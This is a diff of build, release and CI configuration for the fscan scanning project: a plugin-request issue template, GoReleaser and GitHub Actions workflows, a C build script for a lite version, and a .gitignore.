||||
placeholder: |
|
||||
这是一个用于 xxx 的服务...
|
||||
在内网环境中常见于...
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: detection
|
||||
attributes:
|
||||
label: 识别方法
|
||||
description: 如何识别/检测这个服务(如有了解)
|
||||
placeholder: |
|
||||
Banner 特征: xxx
|
||||
默认响应: xxx
|
||||
认证方式: xxx
|
||||
|
||||
- type: textarea
|
||||
id: reference
|
||||
attributes:
|
||||
label: 参考资料
|
||||
description: 相关文档、其他工具实现、漏洞详情等
|
||||
placeholder: |
|
||||
- 官方文档: https://...
|
||||
- 其他工具实现: https://...
|
||||
- CVE编号: CVE-xxxx-xxxx
|
||||
|
||||
- type: dropdown
|
||||
id: prevalence
|
||||
attributes:
|
||||
label: 使用普遍程度
|
||||
description: 这个服务在目标环境中的常见程度
|
||||
options:
|
||||
- 非常常见 (企业环境标配)
|
||||
- 较为常见 (经常遇到)
|
||||
- 偶尔遇到
|
||||
- 较少见但重要
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: checkboxes
|
||||
id: contribution
|
||||
attributes:
|
||||
label: 贡献意愿
|
||||
options:
|
||||
- label: 我愿意尝试实现这个插件并提交 PR
|
||||
- label: 我可以提供测试环境
|
||||
@@ -0,0 +1,103 @@
|
||||
name: '构建和发布'
|
||||
description: 'fscan 可复用构建动作'
|
||||
|
||||
inputs:
|
||||
mode:
|
||||
description: '构建模式: release 或 snapshot'
|
||||
required: true
|
||||
default: 'snapshot'
|
||||
go-version:
|
||||
description: 'Go 版本'
|
||||
required: false
|
||||
default: '1.20'
|
||||
retention-days:
|
||||
description: '产物保留天数'
|
||||
required: false
|
||||
default: '7'
|
||||
release-args:
|
||||
description: '额外的 goreleaser 参数'
|
||||
required: false
|
||||
default: ''
|
||||
|
||||
runs:
|
||||
using: 'composite'
|
||||
steps:
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: ${{ inputs.go-version }}
|
||||
cache: true
|
||||
|
||||
- name: 安装 C 编译工具
|
||||
shell: bash
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y gcc make mingw-w64 gcc-multilib g++-multilib
|
||||
|
||||
- name: 下载依赖
|
||||
shell: bash
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 安装 UPX
|
||||
uses: crazy-max/ghaction-upx@v3
|
||||
with:
|
||||
install-only: true
|
||||
|
||||
- name: 使用 GoReleaser 构建
|
||||
uses: goreleaser/goreleaser-action@v6
|
||||
with:
|
||||
distribution: goreleaser
|
||||
version: latest
|
||||
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
GITHUB_OWNER: ${{ github.repository_owner }}
|
||||
GITHUB_REPO: ${{ github.event.repository.name }}
|
||||
PROJECT_NAME: ${{ github.event.repository.name }}
|
||||
|
||||
- name: 上传产物
|
||||
uses: actions/upload-artifact@v4
|
||||
if: always()
|
||||
with:
|
||||
name: build-${{ inputs.mode }}-${{ github.run_id }}
|
||||
path: |
|
||||
dist/
|
||||
dist-lite/
|
||||
retention-days: ${{ inputs.retention-days }}
|
||||
|
||||
- name: 生成报告
|
||||
shell: bash
|
||||
if: always()
|
||||
run: |
|
||||
cat >> $GITHUB_STEP_SUMMARY << EOF
|
||||
# 构建报告
|
||||
|
||||
| 项目 | 值 |
|
||||
|------|-----|
|
||||
| 模式 | \`${{ inputs.mode }}\` |
|
||||
| 版本 | \`${GITHUB_REF_NAME}\` |
|
||||
| 提交 | \`${GITHUB_SHA:0:7}\` |
|
||||
| Go | \`$(go version | awk '{print $3}')\` |
|
||||
|
||||
## 构建产物
|
||||
|
||||
### fscan (Go 版本)
|
||||
$(if [ -d "dist" ]; then
|
||||
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
|
||||
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
|
||||
else
|
||||
echo "- 无产物"
|
||||
fi)
|
||||
|
||||
### fscan-lite (C 版本)
|
||||
$(if [ -d "dist-lite" ]; then
|
||||
echo "- 文件数: $(find dist-lite -type f 2>/dev/null | wc -l)"
|
||||
echo "- 大小: $(du -sh dist-lite 2>/dev/null | cut -f1)"
|
||||
else
|
||||
echo "- 无产物"
|
||||
fi)
|
||||
|
||||
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
|
||||
EOF
|
||||
@@ -0,0 +1,248 @@
|
||||
project_name: "fscan"
|
||||
|
||||
before:
|
||||
hooks:
|
||||
- go mod tidy
|
||||
- go mod download
|
||||
- chmod +x .github/scripts/build-lite.sh
|
||||
- bash .github/scripts/build-lite.sh {{ .Version }}
|
||||
|
||||
builds:
|
||||
# 标准版 - 全部插件(全架构)
|
||||
- id: fscan
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# 无本地插件版 - 排除本地模块(全架构)
|
||||
- id: fscan-nolocal
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin, freebsd, solaris]
|
||||
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
|
||||
goarm: ["5", "6", "7"]
|
||||
gomips: [softfloat]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: darwin
|
||||
goarch: arm
|
||||
- goos: darwin
|
||||
goarch: mips
|
||||
- goos: darwin
|
||||
goarch: mips64
|
||||
- goos: darwin
|
||||
goarch: mipsle
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
- goos: windows
|
||||
goarch: arm
|
||||
- goos: windows
|
||||
goarch: mips
|
||||
- goos: windows
|
||||
goarch: mips64
|
||||
- goos: windows
|
||||
goarch: mipsle
|
||||
- goos: freebsd
|
||||
goarch: mips
|
||||
- goos: freebsd
|
||||
goarch: mips64
|
||||
- goos: freebsd
|
||||
goarch: mipsle
|
||||
- goos: solaris
|
||||
goarch: "386"
|
||||
- goos: solaris
|
||||
goarch: arm
|
||||
- goos: solaris
|
||||
goarch: arm64
|
||||
- goos: solaris
|
||||
goarch: mips
|
||||
- goos: solaris
|
||||
goarch: mips64
|
||||
- goos: solaris
|
||||
goarch: mipsle
|
||||
flags: [-trimpath]
|
||||
tags: [no_local]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
# WebUI版 - 主流平台即可
|
||||
- id: fscan-web
|
||||
binary: fscan
|
||||
main: .
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows, linux, darwin]
|
||||
goarch: [amd64, arm64, "386"]
|
||||
goarm: ["7"]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: "386"
|
||||
- goos: windows
|
||||
goarch: arm64
|
||||
flags: [-trimpath]
|
||||
tags: [web]
|
||||
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
|
||||
upx:
|
||||
- ids: [fscan, fscan-nolocal, fscan-web]
|
||||
enabled: true
|
||||
goos: [windows, linux, freebsd]
|
||||
goarch: [amd64, "386", arm, arm64, mips, mipsle]
|
||||
compress: best
|
||||
brute: false
|
||||
lzma: false
|
||||
|
||||
archives:
|
||||
# 标准版归档
|
||||
- id: fscan
|
||||
builds: [fscan]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# 无本地插件版归档
|
||||
- id: fscan-nolocal
|
||||
builds: [fscan-nolocal]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-nolocal_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
# WebUI版归档
|
||||
- id: fscan-web
|
||||
builds: [fscan-web]
|
||||
format: binary
|
||||
allow_different_binary_count: true
|
||||
name_template: >-
|
||||
fscan-web_{{ .Version }}_
|
||||
{{- if eq .Os "darwin" }}mac
|
||||
{{- else }}{{ .Os }}{{ end }}_
|
||||
{{- if eq .Arch "amd64" }}x64
|
||||
{{- else if eq .Arch "386" }}x32
|
||||
{{- else }}{{ .Arch }}{{ end }}
|
||||
{{- if .Arm }}v{{ .Arm }}{{ end }}
|
||||
|
||||
checksum:
|
||||
name_template: 'checksums.txt'
|
||||
algorithm: sha256
|
||||
|
||||
changelog:
|
||||
sort: asc
|
||||
use: github
|
||||
filters:
|
||||
exclude:
|
||||
- "^(docs|test|ci|chore):"
|
||||
- "Merge (pull request|branch)"
|
||||
groups:
|
||||
- title: "🚀 新功能"
|
||||
regexp: "^.*feat[(\\w)]*:+.*$"
|
||||
order: 0
|
||||
- title: "🐛 问题修复"
|
||||
regexp: "^.*fix[(\\w)]*:+.*$"
|
||||
order: 1
|
||||
- title: "🔧 其他改进"
|
||||
order: 999
|
||||
|
||||
release:
|
||||
github:
|
||||
owner: "{{ .Env.GITHUB_OWNER }}"
|
||||
name: "{{ .Env.GITHUB_REPO }}"
|
||||
draft: false
|
||||
prerelease: auto
|
||||
mode: replace
|
||||
header: |
|
||||
## {{ .ProjectName }} {{ .Tag }}
|
||||
|
||||
感谢使用 {{ .ProjectName }}!
|
||||
|
||||
### 版本说明
|
||||
|
||||
| 版本 | 说明 |
|
||||
|------|------|
|
||||
| **fscan** | 标准版,包含全部插件(推荐) |
|
||||
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
|
||||
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
|
||||
|
||||
### 平台支持
|
||||
|
||||
| 平台 | 架构 |
|
||||
|------|------|
|
||||
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
|
||||
| Windows | x64, x32 |
|
||||
| macOS | x64, arm64 |
|
||||
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
|
||||
| Solaris | x64 |
|
||||
footer: |
|
||||
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
|
||||
extra_files:
|
||||
- glob: ./dist-lite/*
|
||||
|
||||
snapshot:
|
||||
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
|
||||
|
||||
metadata:
|
||||
mod_timestamp: "{{ .CommitTimestamp }}"
|
||||
@@ -0,0 +1,81 @@
|
||||
#!/bin/bash
|
||||
# 构建 fscan-lite 并准备发布产物
|
||||
|
||||
set -e
|
||||
|
||||
VERSION="${1:-dev}"
|
||||
LITE_DIR="fscan-lite"
|
||||
OUTPUT_DIR="dist-lite"
|
||||
|
||||
echo "==> 构建 fscan-lite (版本: $VERSION)"
|
||||
|
||||
# 清理旧产物
|
||||
rm -rf "$OUTPUT_DIR"
|
||||
mkdir -p "$OUTPUT_DIR"
|
||||
|
||||
# 进入 lite 目录
|
||||
cd "$LITE_DIR"
|
||||
|
||||
# 源文件
|
||||
SOURCES="src/main.c src/scanner.c src/platform.c"
|
||||
INCLUDE="-Iinclude"
|
||||
CFLAGS_BASE="-std=c89 -Wall -O2"
|
||||
|
||||
# 构建 Linux 版本
|
||||
echo "==> 构建 Linux 版本..."
|
||||
|
||||
# Linux x64
|
||||
echo " - Linux x64"
|
||||
mkdir -p bin
|
||||
gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite $SOURCES -lpthread
|
||||
cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x64"
|
||||
rm -rf bin
|
||||
|
||||
# Linux x32
|
||||
echo " - Linux x32"
|
||||
mkdir -p bin
|
||||
gcc $CFLAGS_BASE -m32 $INCLUDE -o bin/fscan-lite $SOURCES -lpthread 2>/dev/null || echo " (跳过: 缺少 32-bit 支持)"
|
||||
if [ -f bin/fscan-lite ]; then
|
||||
cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x32"
|
||||
fi
|
||||
rm -rf bin
|
||||
|
||||
# 构建 Windows 版本
|
||||
echo "==> 构建 Windows 版本..."
|
||||
|
||||
# Windows x64
|
||||
echo " - Windows x64"
|
||||
mkdir -p bin
|
||||
x86_64-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static
|
||||
if [ -f bin/fscan-lite.exe ]; then
|
||||
cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x64.exe"
|
||||
echo " ✓ 编译成功"
|
||||
else
|
||||
echo " ✗ 编译失败"
|
||||
fi
|
||||
rm -rf bin
|
||||
|
||||
# Windows x32
|
||||
echo " - Windows x32"
|
||||
mkdir -p bin
|
||||
i686-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static
|
||||
if [ -f bin/fscan-lite.exe ]; then
|
||||
cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x32.exe"
|
||||
echo " ✓ 编译成功"
|
||||
else
|
||||
echo " ✗ 编译失败"
|
||||
fi
|
||||
rm -rf bin
|
||||
|
||||
cd ..
|
||||
|
||||
# 统计产物
|
||||
echo ""
|
||||
echo "==> 构建完成!"
|
||||
echo "产物列表:"
|
||||
if [ -d "$OUTPUT_DIR" ]; then
|
||||
ls -lh "$OUTPUT_DIR" 2>/dev/null || echo " (无产物)"
|
||||
echo ""
|
||||
FILECOUNT=$(ls "$OUTPUT_DIR" 2>/dev/null | wc -l)
|
||||
echo "总计: $FILECOUNT 个文件"
|
||||
fi
|
||||
@@ -0,0 +1,81 @@
|
||||
name: Project 自动化
|
||||
|
||||
on:
|
||||
issues:
|
||||
types: [opened, closed, reopened]
|
||||
|
||||
env:
|
||||
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
|
||||
|
||||
jobs:
|
||||
# Issue/PR 创建时添加到 Project,状态设为"要搞"
|
||||
add-to-project:
|
||||
if: github.event.action == 'opened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Add to project
|
||||
uses: actions/[email protected]
|
||||
id: add
|
||||
with:
|
||||
project-url: ${{ env.PROJECT_URL }}
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set status to 要搞
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.add.outputs.itemId }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id f75ad846
|
||||
|
||||
# Issue/PR 关闭时状态设为"搞定"
|
||||
close-item:
|
||||
if: github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 搞定
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 98236657
|
||||
|
||||
# Issue/PR 重新打开时状态设为"在搞"
|
||||
reopen-item:
|
||||
if: github.event.action == 'reopened'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get item ID
|
||||
id: get-item
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
|
||||
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
|
||||
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
|
||||
|
||||
- name: Set status to 在搞
|
||||
if: steps.get-item.outputs.item_id != ''
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
gh project item-edit \
|
||||
--project-id PVT_kwHOAl0Kfs4BCgG2 \
|
||||
--id ${{ steps.get-item.outputs.item_id }} \
|
||||
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
|
||||
--single-select-option-id 47fc9ee4
|
||||
@@ -0,0 +1,42 @@
|
||||
name: 发布
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
snapshot:
|
||||
description: '仅测试构建(不发布)'
|
||||
type: boolean
|
||||
default: false
|
||||
draft:
|
||||
description: '创建草稿发布'
|
||||
type: boolean
|
||||
default: false
|
||||
prerelease:
|
||||
description: '标记为预发布'
|
||||
type: boolean
|
||||
default: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: 构建和发布
|
||||
uses: ./.github/actions/build-release
|
||||
with:
|
||||
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
|
||||
go-version: '1.20'
|
||||
retention-days: '90'
|
||||
release-args: ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }}
|
||||
@@ -0,0 +1,202 @@
|
||||
name: 测试构建
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
- dev
|
||||
- dev-*
|
||||
- develop
|
||||
- feature/*
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
- master
|
||||
- dev
|
||||
paths-ignore:
|
||||
- '*.md'
|
||||
- '*.txt'
|
||||
- 'README*'
|
||||
- 'LICENSE*'
|
||||
- 'image/**'
|
||||
- 'TestDocker/**'
|
||||
- '**/*.png'
|
||||
- '**/*.jpg'
|
||||
- '**/*.jpeg'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: 代码检查
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.23'
|
||||
cache: true
|
||||
|
||||
- name: 运行 golangci-lint
|
||||
run: |
|
||||
# 安装 golangci-lint v2
|
||||
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
|
||||
|
||||
# 运行检查并灵活处理结果
|
||||
set +e
|
||||
golangci-lint run --timeout=5m > lint_output.txt 2>&1
|
||||
LINT_EXIT_CODE=$?
|
||||
cat lint_output.txt
|
||||
set -e
|
||||
|
||||
# 只关注真正的 bug,忽略代码质量建议
|
||||
# 过滤规则:
|
||||
# - gocognit/gocyclo: 复杂度警告(阈值已在配置中设置)
|
||||
# - QF/S/ST: staticcheck 的代码质量改进建议(非bug)
|
||||
if [ $LINT_EXIT_CODE -ne 0 ]; then
|
||||
CRITICAL_ISSUES=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt | grep -v "gocognit" | grep -v "gocyclo" | grep -v "QF[0-9]" | grep -v " S[0-9]" | grep -v "ST[0-9]" || true)
|
||||
if [ -n "$CRITICAL_ISSUES" ]; then
|
||||
echo "❌ Linting failed with critical issues:"
|
||||
echo "$CRITICAL_ISSUES" | head -20
|
||||
exit 1
|
||||
else
|
||||
echo "⚠️ Only quality suggestions - PASSING"
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
echo "✅ No lint issues found"
|
||||
|
||||
- name: 检查代码复杂度(质量门禁)
|
||||
run: |
|
||||
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 检查认知复杂度>80的函数
|
||||
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
|
||||
|
||||
if [ -n "$COMPLEX_FUNCS" ]; then
|
||||
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
|
||||
|
||||
if [ "$HIGH_COMPLEX" -gt 0 ]; then
|
||||
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
|
||||
echo '```' >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
echo "✅ 代码复杂度检查通过(所有函数≤80)" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
test:
|
||||
name: 单元测试和构建
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
needs: lint
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.20'
|
||||
cache: true
|
||||
|
||||
- name: 下载依赖
|
||||
run: |
|
||||
go mod download
|
||||
go mod verify
|
||||
|
||||
- name: 运行测试
|
||||
run: |
|
||||
# 排除第三方grdp库测试(存在环境依赖问题)
|
||||
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $(go list ./... | grep -v '/mylib/grdp/')
|
||||
|
||||
- name: 上传覆盖率
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: coverage-report
|
||||
path: coverage.out
|
||||
retention-days: 7
|
||||
|
||||
- name: 显示覆盖率
|
||||
run: |
|
||||
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
- name: 检查覆盖率(质量门禁)
|
||||
run: |
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 提取总体覆盖率
|
||||
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print $3}' | sed 's/%//')
|
||||
|
||||
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# 检查核心模块覆盖率(core, common/parsers必须>50%)
|
||||
CORE_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/core/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}')
|
||||
PARSERS_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/common/parsers/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}')
|
||||
|
||||
# 警告阈值:总体<40%, 核心模块<50%
|
||||
if (( $(echo "$TOTAL_COVERAGE < 40" | bc -l) )); then
|
||||
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
# 检查是否有新增的未测试文件(0%覆盖率)
|
||||
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
|
||||
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
|
||||
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
|
||||
else
|
||||
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
build:
|
||||
name: 构建验证
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 5
|
||||
needs: test
|
||||
|
||||
steps:
|
||||
- name: 检出代码
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: 设置 Go 环境
|
||||
uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.20'
|
||||
cache: true
|
||||
|
||||
- name: 构建验证
|
||||
run: |
|
||||
# 只验证能否编译通过,不需要多平台构建
|
||||
echo "🔨 验证 Linux/amd64 构建..."
|
||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
|
||||
echo "✅ 构建成功"
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
result.txt
|
||||
result.json
|
||||
main
|
||||
.idea
|
||||
fscan.exe
|
||||
fscan
|
||||
fscanapi.csv
|
||||
|
||||
# IDE files / IDE 文件
|
||||
.vscode/
|
||||
.cursor/
|
||||
.cursorrules
|
||||
.claude/
|
||||
|
||||
# Local development files / 本地开发文件
|
||||
*.local
|
||||
*.tmp
|
||||
*.temp
|
||||
.env
|
||||
.env.local
|
||||
.env.development
|
||||
.env.test
|
||||
.env.production
|
||||
|
||||
# OS files / 操作系统文件
|
||||
.DS_Store
|
||||
.DS_Store?
|
||||
._*
|
||||
.Spotlight-V100
|
||||
.Trashes
|
||||
ehthumbs.db
|
||||
Thumbs.db
|
||||
desktop.ini
|
||||
|
||||
# Logs / 日志文件
|
||||
*.log
|
||||
logs/
|
||||
log/
|
||||
|
||||
# Test coverage / 测试覆盖率
|
||||
coverage.txt
|
||||
coverage.html
|
||||
*.cover
|
||||
*.out
|
||||
coverage*.out
|
||||
|
||||
# Test artifacts / 测试产物
|
||||
*_report.txt
|
||||
*_output.txt
|
||||
*_test_*.txt
|
||||
